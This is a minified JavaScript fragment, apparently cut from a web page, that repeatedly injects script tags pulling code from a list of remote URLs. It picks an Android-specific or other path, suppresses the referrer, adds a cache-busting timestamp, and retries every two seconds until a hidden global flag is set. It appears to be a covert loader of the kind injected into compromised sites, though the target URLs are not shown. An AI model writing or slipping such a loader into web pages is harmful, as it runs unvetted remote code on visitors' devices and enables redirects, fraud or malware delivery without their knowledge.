urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();